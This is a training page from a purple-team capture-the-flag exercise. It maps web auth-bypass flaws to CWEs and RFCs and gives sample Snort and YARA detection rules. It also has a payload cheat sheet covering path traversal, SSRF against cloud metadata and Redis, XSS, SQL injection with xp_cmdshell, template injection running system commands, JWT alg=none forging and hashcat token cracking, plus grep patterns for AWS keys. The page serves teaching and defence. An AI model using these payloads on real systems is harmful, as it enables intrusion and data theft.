CyberWorld :: Lore Vault

FLLC Purple-Team OS // training surface only

A deliberately dense vault of references and recon material. Treat it as a CTF prop: everything here is real public knowledge, none of it is the answer key, and a few items are decoys in disguise. The honest entry points are challenge.html and intercept.html.

Attack tree

cyberworld :: web-app auth bypass
.
+-- tier 1 client-side audit         [F01-F10]
|   +-- credentials never validated server-side          (CWE-602)
|   +-- session token forgeable in sessionStorage        (CWE-384)
|   +-- CSP allows inline scripts                        (CWE-1021)
|   +-- honeypot bot-friction only                       (not security)
|   +-- PNG signature + IEND tail + alpha-LSB stego
|   +-- weak-password Bloom filter is client-side        (CWE-521)
|   +-- Hashcash 18-bit = compute, not identity          (CWE-294)
|   +-- inline bootstrap is deliberate teaching artifact
|   +-- console.html re-validates the same chain
+-- tier 2 cryptanalysis             [F11-F15]
|   +-- RSA toy n=3233 trial-divides                     (CWE-326)
|   +-- ECDSA P-256 verified -- NOT the attack vector
|   +-- HMAC trunc 16-bit -> 2^8 birthday                (CWE-326)
|   +-- Vigenere Z/26 Kasiski + IC                       (RFC 7515 sec.A.1 prose)
+-- tier 3 intel pivot               [F16-F20]
|   +-- CVE attribution (NVD)
|   +-- ATT&CK technique mapping (T1078)
|   +-- IR phase recognition (NIST SP 800-61 R3)
|   +-- actor cluster (Mandiant UNC tracker)
|   +-- ZWSP stego (U+200B / U+200D)
+-- tier 4 web pentest               [F21-F30]
|   +-- alg=none JWT acceptance                          (CVE-2015-9235 class)
|   +-- IDOR / BOLA on /profile                          (CWE-639)
|   +-- path traversal on /files                         (CWE-22)
|   +-- X-Forwarded-For trust on /admin/geo              (CWE-348)
|   +-- HPP last-wins on /hpp                            (CWE-235)
|   +-- race condition on /redeem                        (CWE-362)
+-- tier 5 deeper chain              [F31-F33]
    +-- HS/RS JWT key confusion                          (RFC 8725 sec.3.1)
    +-- prototype pollution -> admin/console             (CWE-1321)
    +-- SW cache-vs-auth confusion                       (CWE-639 variant)

RFC / standards excerpts (paraphrased)

RFC 7515 sec. 8 (JWS Unsecured)

"none" indicates an unsecured JWS. Implementations that verify a signature MUST reject "none" as an algorithm by default. The Tier-4 SW does not. That is the lesson.

RFC 8725 sec. 3.1 (JWT BCP)

Algorithm confusion: a verifier that does not bind the public key to the expected algorithm can be tricked into using an RSA public key as an HMAC secret. The Tier-5 SW does this on /api/v1/internal/super.

RFC 9110 sec. 5 (HTTP semantics)

Request and response headers are advisory; trust in them must be earned by upstream context. X-Forwarded-For is set by intermediaries; trusting the first hop is the F27 mistake.

RFC 6797 (HSTS)

Strict-Transport-Security pins TLS-only access. CSP upgrade-insecure-requests is the per-document analog; both ship on this page.

NIST control mapping

MITRE ATT&CK / D3FEND

OWASP Top 10 (2021) mapping

Snort / Suricata / YARA recon (samples; not active)

alert http any any -> any 80 (
  msg:"CYBERWORLD F22 alg=none JWT attempt";
  flow:to_server,established;
  content:"Authorization|3a 20|Bearer "; http_header;
  pcre:"/Bearer\s+[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.($|[\s\r\n])/H";
  classtype:web-application-attack; sid:1000022; rev:1;
)
rule cyberworld_F26_traversal {
  meta:
    description = "F26 path-traversal probe against /api/v1/files"
    author      = "PersonFu / FLLC"
    cwe         = "CWE-22"
  strings:
    $a = "/api/v1/files?name=" ascii
    $b = "../" ascii
    $c = "etc/cyberworld.flag" ascii
  condition:
    $a and $b and $c
}
alert http any any -> any any (
  msg:"CYBERWORLD F27 X-Forwarded-For trust probe";
  flow:to_server,established;
  content:"X-Forwarded-For|3a 20|127.0.0.1"; http_header;
  classtype:policy-violation; sid:1000027; rev:1;
)

Common payload shapes (for grep recon)

LFI / path traversal

../../../etc/passwd
....//....//....//etc/passwd
%2e%2e/%2e%2e/etc/passwd
php://filter/convert.base64-encode/resource=index.php
/proc/self/environ
file:///etc/cyberworld.flag

SSRF

http://127.0.0.1:8080/_internal
http://[::1]:80/admin
http://169.254.169.254/latest/meta-data/    # AWS IMDS v1
gopher://127.0.0.1:6379/_FLUSHALL%0d%0a     # Redis SSRF
dict://internal/INFO

XSS (sanitized; do not use)

"><svg/onload=alert(1)>
<img src=x onerror=alert(1)>
javascript:alert(1)
'-alert(1)-'
<iframe srcdoc='<svg/onload=alert(1)>'>

SQLi sketches (no SQL on this host)

' OR 1=1--
UNION SELECT NULL,NULL,version()--
' AND SUBSTRING(@@version,1,1)='5'--
'; EXEC xp_cmdshell('whoami')--
' WAITFOR DELAY '0:0:5'--

SSTI sketches (no template engine here)

{{7*7}}        # Jinja2 / Twig
${7*7}         # Velocity / Freemarker
<%= 7*7 %> # ERB / EJS
#{7*7}         # Ruby / Pug
<%= system('id') %>

JWT one-liners

# forge alg=none
echo -n '{"alg":"none","typ":"JWT"}' | base64 -w0 | tr +/ -_ | tr -d =
echo -n '{"role":"admin"}'           | base64 -w0 | tr +/ -_ | tr -d =
# then concat with a trailing dot

# brute-force HS256 with hashcat
hashcat -m 16500 token.txt rockyou.txt

ELF / PE / PNG byte layouts

PNG: 89 50 4e 47 0d 0a 1a 0a   (8-byte signature)
     ...chunks (length, type, data, CRC)...
     00 00 00 00 49 45 4e 44 ae 42 60 82   (IEND, last chunk)

ELF: 7f 45 4c 46 02 01 01 00                (magic + class + endian)
     ...e_ident...                         (16 bytes total)
     e_type, e_machine, e_version          (then header)

PE:  4d 5a ... 50 45 00 00                 ("MZ" stub + "PE\0\0" sig)
     0x14c (i386) / 0x8664 (x86_64) / 0xaa64 (arm64) machine values

HTTP/2 frame types (informational)

0x0 DATA           0x1 HEADERS        0x2 PRIORITY
0x3 RST_STREAM     0x4 SETTINGS       0x5 PUSH_PROMISE
0x6 PING           0x7 GOAWAY         0x8 WINDOW_UPDATE
0x9 CONTINUATION

Cipher suites worth remembering

TLS_AES_256_GCM_SHA384            (TLS 1.3 mandatory MTI)
TLS_CHACHA20_POLY1305_SHA256      (TLS 1.3, mobile-friendly)
ECDHE-ECDSA-AES256-GCM-SHA384     (TLS 1.2)
ECDHE-RSA-CHACHA20-POLY1305       (TLS 1.2)

Quick-grep shortcuts the analyst should know

# find tokens in JS bundles
grep -rEon 'eyJ[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]*' .
# find SHA-256 hexes
grep -rEon '\b[0-9a-f]{64}\b' .
# find AWS keys (decoy fingerprint)
grep -rEon 'AKIA[0-9A-Z]{16}' .
# find base64 blobs
grep -rEon '[A-Za-z0-9+/]{40,}={0,2}' . | head
# decode the source decoy
echo REVDT1lfRjAwX25vdF9hX2ZsYWc= | base64 -d

Pirate codex

Articles I -- IV of the Cyberworld Pirate Code (training edition):

  1. Ye shall not exfiltrate that which thou cannot prove; the only proof here is hashes.
  2. Ye shall not type real credentials into a static-site gate; the gate accepts anything.
  3. Ye shall verify thine own work against the manifest commitments before ye claim the flag.
  4. Ye shall not chase every decoy; the truly poisoned `.env.bak` has the watermark DECOY__.

// PersonFu <https://github.com/Personfu> / FLLC <https://fllc.net> // FLLC Purple-Team OS // provided as is for demonstration and educational purposes only.